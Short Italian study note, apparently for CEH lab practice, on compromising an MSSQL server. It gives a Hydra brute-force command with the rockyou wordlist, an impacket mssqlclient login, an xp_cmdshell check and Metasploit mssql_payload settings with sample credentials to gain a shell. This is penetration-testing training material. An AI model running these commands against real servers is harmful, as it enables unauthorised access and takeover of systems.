tags : mssql Connessione_MSSQL
Per connetterci a MSSQL possiamo utilizzare un programma presente nella cartella impaket, ma prima dobbiamo trovare le credenziali, il nome dell’utente in genere si può trovare tramite nmap e si presenta in questo modo:

Dove il nome utente è SQL_srv, per la password possiamo provare a trovarla tramite Hydra tramite il seguente comando:
hydra -L user.txt -P /root/ADtools/rockyou.txt 10.10.1.30 mssql
Una volta trovate le credenziali possiamo utlizzare il seguente comando per connetterci:
python3 /root/impacket/examples/mssqlclient.py CEH.com/SQL_srv:[email protected] -port 1433
Una volta dentro puoi provare ad utilizzare il seguente comando per vedere se è presente xp_cmdshell:
SELECT name, CONVERT(INT, ISNULL(value, value_in_use)) AS IsConfigured FROM sys.configurations WHERE name='xp_cmdshell';
Nel caso fosse presente possiamo utlizzare metasploit per ottenere una shell ed ottenere i permessi di amministratore:
- msfconsole
- use exploit/windows/mssql/mssql_payload
- set RHOST 10.10.1.30
- set USERNAME SQL_srv
- set PASSWORD batman
- set DATABASE master
